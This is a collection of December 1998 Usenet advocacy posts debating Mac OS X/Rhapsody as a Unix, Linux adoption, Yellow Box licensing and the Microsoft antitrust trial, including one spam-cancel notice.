>: I don't personally use such pointing abilities. But at the moment it
>: certainly looks like Linux has considerably more momentum and
>: mindshare than some/any other "open standards based Unix OS" ...
>
>It's true that the business folks are now becoming aware of Linux, but
>this pales in comparison to the fact that the business folks have been
>using NeXTSTEP for years. Rhapsody/MacOS X being clearly derived from
>NeXTSTEP is more advantageous in the business world.
>
>Regarding more casual users, I think that Linux advocates tend to
>seriously overestimate the degree that users care where capabilites come
>from. If Apple delivers the power of UNIX with a MacOS GUI, the ability to
>run UNIX apps/tools alongside shrinkwrapped retail apps, then I think such
>users will be happy.
Historically, however, that has not been the case. They have
waited for MonopolySoft to deliver that functionality to them.
This has resulted in a huge userbase for XT clones and wiped
or nearly wiped out everything else. Macs have a considerable
marketing inertia to overcome just as hardware even ignoring
the OS even once they get over the OS diversity thing.
People already interested in Unix already have all manner
of Unix boxes already at their disposal with stiff competition
at the lowend from the Intel Unixen.
>
>: ... Linux is
>: fast becoming some sort of "cross-*nix" compatibility target even to
>: "competing Unix vendors", meaning that practically all new *nix apps
>: will come in a Linux version as well ...
>
>Please note your 'as well'. If the apps also run on Rhapsody/MacOS X that
>is all that matters. Also note that Apple may very well become the
>dominant UNIX vendor as they already have become the dominant RISC vendor.
That's an interesting way to spin the fact that they are
on the bottom of the lowend user workstation market and
still fading.
All the other RISC vendors are servicing an entirely different
group of users.
>In any case when MacOS X is the shipping OS on all Macs then UNIX app
>vendors are sure to go after this huge potential market of end users. Note
>my use of 'end users'. The general interest in Linux you've referred to
>may be more for servers than end user workstations.
That's presuming of course that their applications would
require less trouble to port to Rhapsody vs. Linux/BSD.
Run your Oracle server on a Macintosh won't likely sell
well to Oracle marketing or Oracle marketing's customers.
>
>: ... Better app support, wider
>: hardware support, quickly improving OS, gimme Linux. You want one of
>: the *BSD's? That's perfectly okay with me.
>
>'wider hardware support', that is Apple's fear. :-)
...then they would have to deal with the same mess
that Windows does. MacOS might not look so spiffy
under those conditions...
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: Mark Hamstra <mark.hamstra@bentley.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 00:57:46 -0500
Organization: Bentley systems, Inc.
Sender: mark@sullivan.bentley.com
Message-ID: <xz1zm5hpgl.fsf@sullivan.bentley.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com>
adt@netcom.com (Anthony D. Tribelli) writes:
> Also, is perfect office Linux specific? Why would it be troublesome to
> port to Apple's BSD as opposed to some other BSD?
No, Perfect Office for Linux wouldn't likely be terribly platform
specific; however, Perfect Office for MacOS X likely would be
quite Mac-specific: Linux == (open, standard X Window), MacOS X ==
((closed, platform-specific Carbon) || (non-standard/niche Yellow Box)).
IMHO, Apple is blowing a major opportunity to partake in the larger
Unix community by continuing to refuse to directly support X Window in
MacOS X; instead insisting upon a 100% consistent/integrated UI (or as
close as they can come to that while supporting both the legacy Carbon
API and Yellow Box.)
--
Mark Hamstra
Bentley Systems, Inc.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
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Date: Mon, 07 Dec 1998 15:47:50 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 00:47:50 JST
Organization: Global Online Japan
Chad Irby wrote:
>
>
> So you know of other huge monopolies that require their customers to pay
> for their products, even when those products aren't used for a particular
> thing?
>
> "Yeah, we'll sell you this stuff for $1.49 a pound, but you have to pay us
> for it even if you don't use it in a product.."
You keep stumbling on the premise that Microsoft *requires* (IE, doesn't
sell its products in *any* other fashion) customers to pay for products
they don't use.
I think the guy had a good point. Can you cite even one specific example
wherein a Microsoft customer *ever* was offered *only* a "restrictive"
or "exclusive" deal? From what I've seen, customers *elected* to
*voluntarily* sign these agreements *because* Microsoft came off the
price. That's very, very different from what you suggest.
If Microsoft said: "The *only* way we'll sell you these products is if
you sign these deals," then your point would be excellent and I'd agree
completely. But I've seen no evidence that this was ever the case.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 12 Dec 1998 02:28:25 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <199812120228251239508@ts4-19.aug.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <slrn770lik.3ps.jedi@dementia.mishnet> <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> Note: I didn't say it wouldn't have good performance, and I didn't say
> it wouldn't be a good operating system. What I did say is that it won't
> be a good Unix. That much is fairly apparent from Apple's FAQ on the
> matter.
>
> MJP
What is a ... "good Unix" ?
--
Remove nojunk from my email address to reply by email.
y email address to reply by email.
From: Michael <michael@tone.ca>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Fri, 11 Dec 1998 20:39:42 -0500
Organization: Styx DTP
Sender: monner@dial04p07.ottawa.storm.ca
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I don't think it matters who wins. By the very fact that theres an ongoing
trial, Microsoft has already modified their behaviour. The longer the trial
(and the appeals) go on, the greater the likelihood that some threat to
Microsofts empire will emerge that MS can't respond to in the usual way.
History lesson: circa 1980 DOJ is on IBMs case, claiming they are abusing
their mainframe monopoly. IBM decides to build a PC, but decides to make it
an open system, and not maintain control of the OS for it. Why? (1) IBM
didn't dream their PC would be a huge success, (2) No need to stir up the
anti-trust forces any more than they were already. The rest is history. The
PC revolution begins, with IBM playing only a small role, and IBMs
mainframe monopoly becomes irrelevant.
Hmm. How might history repeat itself?
Michael Monner
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Thu, 10 Dec 1998 17:21:19 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R1012981721190001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com> <anarkhos-ya02408000R0912980058290001@news> <74n07n$vu0$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0912981635130001@news> <74p4d5$pf0$1@nnrp1.dejanews.com>
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> Hmm-- seems like you're reading a little bit more into what Henry said than
> need be, but you've got a point.
>
> You know what, though? Everyone's faced with the decision whether to haul out
> the flamethrower or whether to shrug off the other guy's annoying remarks and
> try to come up with useful, insightful, and on-topic comments instead.
>
> Your choice....
>
> -Chuck
>
What exactly am I "reading a little bit more into"? I don't need to read
between the lines here, he makes his invalid point very clear:
The hacker mentality that doesn't comprehend the basic concepts of
business. Oh, I see --- you're at one of them there University
places. The twentieth-century equivalent of patronage. Everything is
free, as long as you don't actually have to make a living . . . And,
unlike the Apple engineer blokes, you never have to deliver a working
product by a specified date within a specified budget to specified
performance specifications. Try pulling your thumb out sometime.
If and when you ever get out of the pigpen, let me know how you'll
pay the rent or mortgage and support yourself working for no money.
To which I replied:
Actually I have a job outside the university, not that anything you said
had anything to do with Linux users being cheap. You seem to me making my
argument FOR me, I guess you thought I was a cheap linux user. Perhaps you
thought cheap was a complement.
The remarks were not annoying. They were wrong, insulting, and a total
mischaracterization. The funniest thing was he took my position, as though
my post was sarcastic. Then again who the hell cares, sheesh!
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sat, 12 Dec 1998 07:54:00 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36721d7a.5168211@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <F3tJJB.9x@T-FCN.Net> <36718b58.25637024@news2.asan.com> <jinx6568-1212980045480001@arc1a151.bf.sover.net>
On Sat, 12 Dec 1998 00:45:47 -0500, in comp.os.ms-windows.advocacy
jinx6568@sover.net (Chris Johnson) wrote:
> Hang on, didn't he actually say, in effect: "We did not select IE for
>technical reasons as the MS lawyer claims. The technology they had which
>Netscape didn't have only is applicable to W95, and we have only 20-30%
>users on W95. Most of them are on Win3.1, for which the technology is
>unavailable. We used IE anyway because it let us have a place on the
>windows desktop"
>
> What part of this don't you understand? I think you are mistaking the
>MS lawyer for the witness ;)
No, Colburn never said that. Please point me to the place in the
transcripts where he made that statement. I couldn't find it.
Colburn said of Netscape, in an internal e-mail regarding the need for
an integrated browser, that "they still do not get it."
It is very clear from AOL's internal e-mails that AOL held all the
cards and were simply trying to maximize their exposure. They were
willing to give the their share of the browser market (millions of AOL
users) to whoever gave them what they wanted.
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 17:30:03 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R1012981730030001@news>
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In article <367068E7.33C9E208@ericsson.com>, Michael Peck
<michael.peck@ericsson.com> wrote:
> strobe wrote:
>
> > Apple is a hardware company. They don't make money selling software.
>
> Then why do they sell software?
>
Why does SGI? why does Sun? TO SELL HARDWARE! Apple isn't Next. Even
though Apple may have an enterprise department NOW (after buying Next) and
might actually sell some software like WebObjects, Apple is still a
hardware company.
Apple has always sold hardware since day 1, and software as a freebee to
sell the hardware. When Apple bought Claris they lost money. MacOS sales do
not cover development costs. Apple doesn't and never did make money selling
MacOS licences, it only ate into their hardware sales. Apple lives and dies
by its hardware sales, and wouldn't gain anything by porting YB to Linux
given the current circumstances.
From: jpolaski@wwa.com (Jim Polaski)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <jpolaski-1212980213230001@d149-109.ce.mediaone.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com>
Organization: Polaski P/D/C, 15 W. Hubbard, Chgo, IL
Date: Sat, 12 Dec 1998 02:13:23 -0600
NNTP-Posting-Date: Sat, 12 Dec 1998 02:09:55 CDT
In article <3671fcae$0$226@nntp1.ba.best.com>, "Boris"
<XXXboris@movil.comXXX> wrote:
> >I don't think it matters who wins. By the very fact that theres an ongoing
> >trial, Microsoft has already modified their behaviour. The longer the trial
> >(and the appeals) go on, the greater the likelihood that some threat to
> >Microsofts empire will emerge that MS can't respond to in the usual way.
> Microsoft has the best technical talent in the industry. Where would
that threat emerge
> from?
====
If that's the case, why has NT has so many security holes?
Why did M$ publically state that Win 98 fixed 3000 "Bugs" in 95...
...competent, I suppose. Innovative, not!
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: whistler@twcny.rr.com (Paul E Larson)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Distribution: world
References: <36718b58.25637024@news2.asan.com> <3670A97C.MD-0.198.tb7@inquo.net>
Message-ID: <0Vpc2.2457$5V.6306785@newse1.twcny.rr.com>
Date: Sat, 12 Dec 1998 08:40:38 GMT
NNTP-Posting-Date: Sat, 12 Dec 1998 03:35:08 EDT
Organization: TWC Road Runner
In article <3670A97C.MD-0.198.tb7@inquo.net>, "Terry Barton" <tb7@inquo.net> wrote:
>>> > Sure they have, what news have you been watching?
>>
>> Actually, I've been following through ZD Network News. The have a
>> section for the case where they have links to all the court documents.
>
>Are you aware of the fact the ZD stands for Ziff Davis Publishing? A
>Microsoft Owned affilate. Have you also been following it on MSNBC?
WOW.... do you have proof?
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 18:35:51 -0600
Organization: Ericsson Data Services Americas
Message-ID: <367068E7.33C9E208@ericsson.com>
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strobe wrote:
> Apple is a hardware company. They don't make money selling software.
Then why do they sell software?
Assertion #1 is that "[Apple] don't make money selling software". If you
would care to add something to that in your explanation, feel free. I'm
very interested to see your rationale.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF3uI6I.LG7@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <xz1zm5hpgl.fsf@sullivan.bentley.com>
Date: Sat, 12 Dec 1998 09:25:30 GMT
Sender: adt@netcom9.netcom.com
Mark Hamstra (mark.hamstra@bentley.com) wrote:
: adt@netcom.com (Anthony D. Tribelli) writes:
: > Also, is perfect office Linux specific? Why would it be troublesome to
: > port to Apple's BSD as opposed to some other BSD?
:
: No, Perfect Office for Linux wouldn't likely be terribly platform
: specific; however, Perfect Office for MacOS X likely would be
: quite Mac-specific: Linux == (open, standard X Window), MacOS X ==
: ((closed, platform-specific Carbon) || (non-standard/niche Yellow Box)).
In addition to Carbon and Yellow Box, there is also BSD. People are
already running open source code and X on the Rhapsody beta. MacOS X
software does not have to be tied to Apple specific technologies, I think
this is a point that many people are overlooking or not aware of.
: IMHO, Apple is blowing a major opportunity to partake in the larger
: Unix community by continuing to refuse to directly support X Window in
: MacOS X; instead insisting upon a 100% consistent/integrated UI (or as
: close as they can come to that while supporting both the legacy Carbon
: API and Yellow Box.)
Folks interested in running a Unix app are probably not adverse to having
X added to their system. It may turn out that we can have it all, both Mac
GUI apps and Unix/X apps/tools coexisting.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <12129803.2638@none444.yet>
Control: cancel <12129803.2638@none444.yet>
Date: 12 Dec 1998 09:26:40 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.12129803.2638@none444.yet>
Sender: no.email.address.entered@none444.yet
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF3uIvr.Lyw@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net>
Date: Sat, 12 Dec 1998 09:40:38 GMT
Sender: adt@netcom9.netcom.com
Michael J. Peck (mjpeck@nstar.net) wrote:
: Gregory Loren Hansen wrote:
: > If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
: > faster because Apple is bigger than any single Unix vendor.
:
: MacOS X could be a good Unix, but it probably won't. The FAQ stresses
: that it is not, in Apple's opinion, a traditional Unix system. That's
: not conclusive, but it certainly raises some disappointing
: possibilities.
It's not a traditional Unix in that it is targetted for a novice low tech
market. Most users won't even know there is a Unix behind the curtain.
However there is nothing to prevent high tech and power users from going
behind the curtain. There are many groups, including Linux, working on a
friendly face for Unix that anyone can use. Apple is taking a different
approach than others and IMHO will probably get their first.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <jpolaski-1212980213230001@d149-109.ce.mediaone.net>
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <6%qc2.20198$q15.460161@news.san.rr.com>
Date: Sat, 12 Dec 1998 01:46:59 -0800
NNTP-Posting-Date: Sat, 12 Dec 1998 01:49:54 PDT
Organization: TWC Road Runner, San Diego, CA
Jim Polaski wrote in message ...
>In article <3671fcae$0$226@nntp1.ba.best.com>, "Boris"
><XXXboris@movil.comXXX> wrote:
>
>> >I don't think it matters who wins. By the very fact that theres an
ongoing
>> >trial, Microsoft has already modified their behaviour. The longer the
trial
>> >(and the appeals) go on, the greater the likelihood that some threat to
>> >Microsofts empire will emerge that MS can't respond to in the usual way.
>> >Microsoft has the best technical talent in the industry. Where would
>> >that threat emerge
>> >from?
>====
>If that's the case, why has NT has so many security holes?
>Why did M$ publically state that Win 98 fixed 3000 "Bugs" in 95...
>
>...competent, I suppose. Innovative, not!
So you ignore his question and attack MS when you have no answer which is
exactly why MS's position is not IBM's in the 80's and why I hope Justice
prevails in its case.
No upstart OS (or even BeOS, Mac OS X) or Office software (short of maybe
giving it away a la Star Office) will break MS's hold anytime soon. Also
Microsoft is ever expanding into other markets which just extends its
influence.
It essentially controls the hardware, the OS, the APIs, Office software,
etc., etc. They're moving into interactive toys, high-speed net access
(cable modem software, investments, etc.)
What's next, MS-brand food? Oh wait, isn't there a MS-brand coffee now?
--Ed.
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF3uJKJ.MJr@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
Date: Sat, 12 Dec 1998 09:55:30 GMT
Sender: adt@netcom9.netcom.com
Joe Ragosta (joe.ragosta@dol.net) wrote:
: My guess is that it will be optimized for ease of use. If you want balls
: to the walls maximum performance, you're probably better off with a system
: like Linux or a commercial Unix. But if you want a combination of good
: performance, ease of use, and features, it should be a good alternative.
I think it is a little premature to suggest that the same open source apps
running on MacOS X would be slower when compared to running Linux on the
same PowerPC based system or Linux running on a PC. The only safe bet is
that Linux running on a PC will offer some of the least expensive
solutions (A week ago I saw surplus 486DX/8M/1G boxes being sold for
US$50).
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec11151523@slave.doubleu.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be>
<SCOTT.98Dec7000502@slave.doubleu.com>
<FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost>
In-reply-to: pit@iohk.SPAM-NOT.com's message of 8 Dec 98 11:33:23 GMT
Date: 11 Dec 98 15:15:23
NNTP-Posting-Date: Sat, 12 Dec 1998 02:04:48 PDT
In article <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) writes:
The way I see it is Linux could easily be the Great Equalizer that
helps make Apple's hardware more attractive to the mainstream buyer
as Linux becomes more end-user-friendly (something where Apple
could really make a difference with YB, btw).
The way _I_ see it, Linux is what allows me to get away with buying
cheap commodity hardware rather than more expensive custom hardware
from Sun or Apple.
But what if PowerMacintosh became the ideal platform to run Linux?
WIntel PCs are _already_ the ideal platform to run Linux. Don't
confuse lack of choice for quality! If you are comparing the _entire_
WIntel world against the Apple world, yes, the WIntel world shows a
lot of huge gaping holes in areas like component compatibility.
But you can easily restrict yourself to a small slice of the WIntel
world that competes component for component with Apple hardware - and
that small slice is still many times the size of Apple's market, and
lets you build machines that are cheaper, yet just as good. This was
not the case five years ago, but it _is_ the case today, and has been
for about two years, now.
That said, I wouldn't recommend Apple to release YB under GPL, i.e.
totally open. A licence is needed that allows the hordes of
self-respecting coders to improve and fix YB where needed and build
and deploy YB apps even for free under fair licencing system.
Commercial use of YB could be liable to licence fee to Apple, and
Apple should maintain control of compatibility issues if just to
avoid platform-jacking by a commercial competitor.
Why? You're presupposing that there are technical problems with
YellowBox that need fixed, and that "the hordes of self-respecting
coders" can fix them.
NeXT isn't/wasn't Microsoft. They made a technically excellent
product and then failed to become a market success. They didn't build
the minimal salable product and force it down people's throats.
> "Walk you must, before run you do." Let's just get Apple
> _dabbling_ in OpenSource, for now. OpenSource the Mach/Unix
> layer. Why not? It's already mostly OpenSource anyhow. Or put
> YellowBox, aka The Family Jewels, on an already OpenSource OS.
> If that works, widen the net.
Question: If it was 1989, DOS was under GPL and needed a decent GUI
to make it a de-facto desktop standard, would you advice Apple to
jump on the chance instead staying on their own proprietary
hardware exclusively? (imagine you owned APPL stock to help you
consider the far-reaching implications more personally)
Coming from a Unix/X11/NeXTSTEP background, I guess I fail to see that
the world would be a better place today if MacOS8.5 or whatever were
the king of the hill rather than Windows98. I would certainly make
_Apple_ aficionados happier, but it wouldn't roast my goat...
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec11174346@slave.doubleu.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>
In-reply-to: rr6013@yahoo.com's message of Wed, 09 Dec 1998 07:49:17 GMT
Date: 11 Dec 98 17:43:46
NNTP-Posting-Date: Sat, 12 Dec 1998 02:04:49 PDT
In article <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) writes:
ex-NeXT personalities participating in comp.os.linux.advocacy...
Scott Hess
Flattered to be in that company! But, any of my postings to
col.advocacy were follow-ups to cross-posting, I _today_ do most (95%)
of my paying work on OpenStep/Mach4.2 (and thus "ex-NeXT"
questionable), and I'll be converting over to Rhapsody or whatever as
soon as it's a reasonable thing to do (meaning my uptime goes to a
week or so). So I'm on the wrong list.
Can an OPEN Apple be far behind?
That said, I am very strongly considering an OpenSource release of
some of the non-paying stuff I've been working on. My notion is to do
it as "Public Programming", following from "Public Radio" and "Public
Television". Rather than pay for specific things I do, I'm going to
see whether I can get people to pay me for doing the types of things I
do. [For National Public Radio (in the US), this is like saying that
you send them money so they keep providing interesting programs - but
you _don't_ send them money for "Car Talk". The underside being that
you can't withhold money from "A Prairie Home Companion". (I'm _from_
Minnesota, so don't flame _me_.)]
But even if I OpenSource my personal work, work that's geared towards
letting me explore interesting nooks of the system, work that, at
best, only amounts to 300-400 man-hours a year, I don't expect that
we'll be OpenSourcing the software that pays the bills. OpenSource is
amazing, OpenSource is _huge_, but compared to the software industry
as a whole, OpenSource _is_ on the margins. It is. That cannot be
denied by any rational person.
I do use Linux on my servers, though,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 1998 05:24:59 GMT
Organization: Indiana University, Bloomington
Message-ID: <74qabb$nve$1@flotsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3sBG8.Jss@netcom.com>
In article <adtF3sBG8.Jss@netcom.com>,
Anthony D. Tribelli <adt@netcom.com> wrote:
>jedi@dementia.mishnet wrote:
>Currently Apple's problems in this regard are more software than hardware.
>MacOS X could change that. Now consider the fact that a high degree of
>commonality with consumer oriented machines could generate cost reductions
>that Sun and SGI dream of. I'm not suggesting the high-end Sun and SGI
>machines would be threatened but many people have purchased a Sun
>workstation when all they really wanted was a general purpose UNIX
>workstation. Today Linux is 'stealing' many of these users due to
>tremendous cost savings. Tomorrow MacOS X could be doing this as well.
>Now add the Linux users who are not politically/philosophically/religously
>attached to Linux and may prefer a friendlier user interface and/or
>shrinkwrapped retail apps without having to dual boot, add the folks who
>were interested in UNIX but were scared off by Linux's by-nerds-for-nerds
>attitude, ...
>
>I'm not predicting that any of the above will happen. I'm just arguing
>that it is a bit premature to say that MacOS X can't enter the UNIX
>market.
Oh, it's going to happen. I don't know if the movement will be strong
enough for us to care, but at least a few people will buy MacOS X because
it's a Unix they can learn to love.
As for MacOS X entering the Unix market, I really can't see any reason why
not. I've used various Unix systems, SunOS, Solarix, HP-UX, some kind of
DEC thing, Linux. And you know what? They all looked the same to me. I
didn't particularly care which brand of Unix I was running, because
everything worked all right and I didn't have to learn a new way of doing
things each time. There's a bigger learning curve going from csh to ksh
than from going from Solaris to HP-UX. And other people will feel the
same. They won't care if they're running HP-UX or MacOS X.
Assuming it still looks like a Unix system, and you can telnet into a
shell and use X apps when Apple is finished with it.
The programmers might have to deal with some compatibility issues. But
the users won't care, and the administrators won't have a lot of reason to
